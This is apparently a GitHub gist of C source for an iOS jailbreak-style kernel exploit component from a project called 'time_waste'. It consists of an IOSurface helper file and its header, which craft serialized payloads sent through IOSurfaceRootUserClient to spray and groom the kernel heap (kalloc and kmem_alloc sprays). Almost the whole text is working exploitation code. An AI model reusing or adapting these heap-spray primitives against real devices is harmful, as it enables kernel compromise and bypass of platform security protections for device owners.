uint32_t argsSz = sizeof(struct IOSurfaceValueArgs) + 2 * sizeof(uint32_t); | |
struct IOSurfaceValueArgs *args = malloc(argsSz); | |
bzero(args, argsSz); | |
args->surface_id = IOSurface_ID; | |
args->binary[0] = key; | |
args->binary[1] = 0; | |
int ret = IOSurface_removeValue(args, 16); | |
free(args); | |
return ret; | |
} | |
int IOSurface_kalloc(void *data, uint32_t size, uint32_t kalloc_key) { | |
if (size - 1 > 0x00ffffff) { | |
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n"); | |
return KERN_FAILURE; | |
} | |
size_t args_size = sizeof(struct IOSurfaceValueArgs) + ((size + 3)/4) * 4 + 6 * 4; | |
struct IOSurfaceValueArgs *args = calloc(1, args_size); | |
args->surface_id = IOSurface_ID; | |
int i = 0; | |
args->binary[i++] = kOSSerializeBinarySignature; | |
args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection; | |
args->binary[i++] = kOSSerializeString | (size - 1); | |
memcpy(&args->binary[i], data, size); | |
i += (size + 3)/4; | |
args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection; | |
args->binary[i++] = kalloc_key; | |
args->binary[i++] = 0; | |
kern_return_t ret = IOSurface_setValue(args, args_size); | |
free(args); | |
return ret; | |
} | |
int IOSurface_kalloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key) { | |
if (size - 1 > 0x00ffffff) { | |
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n"); | |
return KERN_FAILURE; | |
} | |
if (count > 0x00ffffff) { | |
printf("[-][IOSurface] Count too big for OSUnserializeBinary\n"); | |
return KERN_FAILURE; | |
} | |
size_t args_size = sizeof(struct IOSurfaceValueArgs) + count * (((size + 3)/4) * 4) + 6 * 4 + count * 4; | |
struct IOSurfaceValueArgs *args = calloc(1, args_size); | |
args->surface_id = IOSurface_ID; | |
int i = 0; | |
args->binary[i++] = kOSSerializeBinarySignature; | |
args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection; | |
args->binary[i++] = kOSSerializeArray | count; | |
for (int c = 0; c < count; c++) { | |
args->binary[i++] = kOSSerializeData | (size) | ((c == count - 1) ? kOSSerializeEndCollection : 0); | |
memcpy(&args->binary[i], data, size); | |
i += (size + 3)/4; | |
} | |
args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection; | |
args->binary[i++] = kalloc_key; | |
args->binary[i++] = 0; | |
kern_return_t ret = IOSurface_setValue(args, args_size); | |
free(args); | |
return ret; | |
} | |
int IOSurface_empty_kalloc(uint32_t size, uint32_t kalloc_key) { | |
uint32_t capacity = size / 16; | |
if (capacity > 0x00ffffff) { | |
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n"); | |
return KERN_FAILURE; | |
} | |
size_t args_size = sizeof(struct IOSurfaceValueArgs) + 9 * 4; | |
struct IOSurfaceValueArgs *args = calloc(1, args_size); | |
args->surface_id = IOSurface_ID; | |
int i = 0; | |
args->binary[i++] = kOSSerializeBinarySignature; | |
args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection; | |
args->binary[i++] = kOSSerializeDictionary | capacity; | |
args->binary[i++] = kOSSerializeSymbol | 4; | |
args->binary[i++] = 0x00aabbcc; | |
args->binary[i++] = kOSSerializeBoolean | kOSSerializeEndCollection; | |
args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection; | |
args->binary[i++] = kalloc_key; | |
args->binary[i++] = 0; | |
kern_return_t ret = IOSurface_setValue(args, args_size); | |
free(args); | |
return ret; | |
} | |
int IOSurface_kmem_alloc(void *data, uint32_t size, uint32_t kalloc_key) { | |
if (size < pagesize) { | |
printf("[-][IOSurface] Size too small for kmem_alloc\n"); | |
return KERN_FAILURE; | |
} | |
if (size > 0x00ffffff) { | |
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n"); | |
return KERN_FAILURE; | |
} | |
size_t args_size = sizeof(struct IOSurfaceValueArgs) + ((size + 3)/4) * 4 + 6 * 4; | |
struct IOSurfaceValueArgs *args = calloc(1, args_size); | |
args->surface_id = IOSurface_ID; | |
int i = 0; | |
args->binary[i++] = kOSSerializeBinarySignature; | |
args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection; | |
args->binary[i++] = kOSSerializeData | size; | |
memcpy(&args->binary[i], data, size); | |
i += (size + 3)/4; | |
args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection; | |
args->binary[i++] = kalloc_key; | |
args->binary[i++] = 0; | |
kern_return_t ret = IOSurface_setValue(args, args_size); | |
free(args); | |
return ret; | |
} | |
int IOSurface_kmem_alloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key) { | |
if (size < pagesize) { | |
printf("[-][IOSurface] Size too small for kmem_alloc\n"); | |
return KERN_FAILURE; | |
} | |
if (size > 0x00ffffff) { | |
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n"); | |
return KERN_FAILURE; | |
} | |
if (count > 0x00ffffff) { | |
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n"); | |
return KERN_FAILURE; | |
} | |
size_t args_size = sizeof(struct IOSurfaceValueArgs) + count * (((size + 3)/4) * 4) + 6 * 4 + count * 4; | |
struct IOSurfaceValueArgs *args = calloc(1, args_size); | |
args->surface_id = IOSurface_ID; | |
int i = 0; | |
args->binary[i++] = kOSSerializeBinarySignature; | |
args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection; | |
args->binary[i++] = kOSSerializeArray | count; | |
for (int c = 0; c < count; c++) { | |
args->binary[i++] = kOSSerializeData | size | ((c == count - 1) ? kOSSerializeEndCollection : 0); | |
memcpy(&args->binary[i], data, size); | |
i += (size + 3)/4; | |
} | |
args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection; | |
args->binary[i++] = kalloc_key; | |
args->binary[i++] = 0; | |
kern_return_t ret = IOSurface_setValue(args, args_size); | |
free(args); | |
return ret; | |
} | |
int IOSurface_set_indexed_timestamp(io_service_t userclient, uint32_t surface_id, uint32_t index, uint64_t timestamp) { | |
uint64_t args[3] = {0}; | |
args[0] = surface_id; | |
args[1] = index; | |
args[2] = timestamp; | |
kern_return_t ret = IOConnectCallMethod(userclient, IOSurfaceRootUserClient_set_indexed_timestamp, args, 3, NULL, 0, NULL, NULL, NULL, NULL); | |
return ret; | |
} | |
int IOSurface_get_ycbcrmatrix(io_service_t userclient, uint32_t surface_id, uint32_t *output) { | |
uint64_t args[1] = {0}; | |
args[0] = surface_id; | |
uint64_t out[1] = {0}; | |
uint32_t count = 1; | |
kern_return_t ret = IOConnectCallMethod(userclient, IOSurfaceRootUserClient_get_ycbcrmatrix, args, 1, NULL, 0, out, &count, NULL, NULL); | |
if (ret) { | |
return ret; | |
} | |
*output = (uint32_t)out[0]; | |
return 0; | |
} | |
void term_IOSurface() { | |
if (IOSurfaceRoot) IOObjectRelease(IOSurfaceRoot); | |
if (IOSurfaceRootUserClient) IOServiceClose(IOSurfaceRootUserClient); | |
IOSurfaceRoot = 0; | |
IOSurfaceRootUserClient = 0; | |
IOSurface_ID = 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// IOSurface_stuff.h | |
// time_waste | |
// | |
// Created by Jake James on 2/22/20. | |
// Copyright © 2020 Jake James. All rights reserved. | |
// | |
#ifndef IOSurface_stuff_h | |
#define IOSurface_stuff_h | |
#import <stdio.h> | |
#import <stdlib.h> | |
#import <unistd.h> | |
#import <IOKit/IOKitLib.h> | |
#import <mach/mach.h> | |
#define IOSurfaceRootUserClient_release_surface_selector 1 | |
#define IOSurfaceRootUserClient_create_surface_selector 6 // actually, this is the fast path version, normal one is selector 0 | |
#define IOSurfaceRootUserClient_get_ycbcrmatrix 8 | |
#define IOSurfaceRootUserClient_set_value_selector 9 | |
#define IOSurfaceRootUserClient_get_value_selector 10 | |
#define IOSurfaceRootUserClient_remove_value_selector 11 | |
#define IOSurfaceRootUserClient_increment_use_count_selector 14 | |
#define IOSurfaceRootUserClient_decrement_use_count_selector 15 | |
#define IOSurfaceRootUserClient_set_notify_selector 17 | |
#define IOSurfaceRootUserClient_set_indexed_timestamp 33 | |
struct IOSurfaceFastCreateArgs { | |
uint64_t address; | |
uint32_t width; | |
uint32_t height; | |
uint32_t pixel_format; | |
uint32_t bytes_per_element; | |
uint32_t bytes_per_row; | |
uint32_t alloc_size; | |
}; | |
struct IOSurfaceLockResult { | |
uint8_t _pad1[0x18]; | |
uint32_t surface_id; | |
uint8_t _pad2[0xf60-0x18-0x4]; | |
}; | |
struct IOSurfaceValueArgs { | |
uint32_t surface_id; | |
uint32_t field_4; | |
union { | |
uint32_t binary[0]; | |
char xml[0]; | |
}; | |
}; | |
struct IOSurfaceValueResultArgs { | |
uint32_t field_0; | |
}; | |
enum { | |
kOSSerializeDictionary = 0x01000000U, | |
kOSSerializeArray = 0x02000000U, | |
kOSSerializeSet = 0x03000000U, | |
kOSSerializeNumber = 0x04000000U, | |
kOSSerializeSymbol = 0x08000000U, | |
kOSSerializeString = 0x09000000U, | |
kOSSerializeData = 0x0a000000U, | |
kOSSerializeBoolean = 0x0b000000U, | |
kOSSerializeObject = 0x0c000000U, | |
kOSSerializeTypeMask = 0x7F000000U, | |
kOSSerializeDataMask = 0x00FFFFFFU, | |
kOSSerializeEndCollection = 0x80000000U, | |
kOSSerializeBinarySignature = 0x000000d3U, | |
}; | |
int init_IOSurface(void); | |
void term_IOSurface(void); | |
int release_IOSurface(io_service_t userclient, int surface_id); | |
int IOSurface_setValue(struct IOSurfaceValueArgs *args, size_t args_size); | |
int IOSurface_getValue(struct IOSurfaceValueArgs *args, int args_size, struct IOSurfaceValueArgs *output, size_t *out_size); | |
int IOSurface_removeValue(struct IOSurfaceValueArgs *args, size_t args_size); | |
int IOSurface_remove_property(uint32_t key); | |
int IOSurface_kalloc(void *data, uint32_t size, uint32_t kalloc_key); | |
int IOSurface_kalloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key); | |
int IOSurface_empty_kalloc(uint32_t size, uint32_t kalloc_key); | |
int IOSurface_kmem_alloc(void *data, uint32_t size, uint32_t kalloc_key); | |
int IOSurface_kmem_alloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key); | |
int IOSurface_set_indexed_timestamp(io_service_t userclient, uint32_t surface_id, uint32_t index, uint64_t timestamp); | |
int IOSurface_get_ycbcrmatrix(io_service_t userclient, uint32_t surface_id, uint32_t *output); | |
extern uint32_t pagesize; | |
extern io_connect_t IOSurfaceRoot; | |
extern io_service_t IOSurfaceRootUserClient; | |
extern uint32_t IOSurface_ID; | |
#endif /* IOSurface_stuff_h */ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment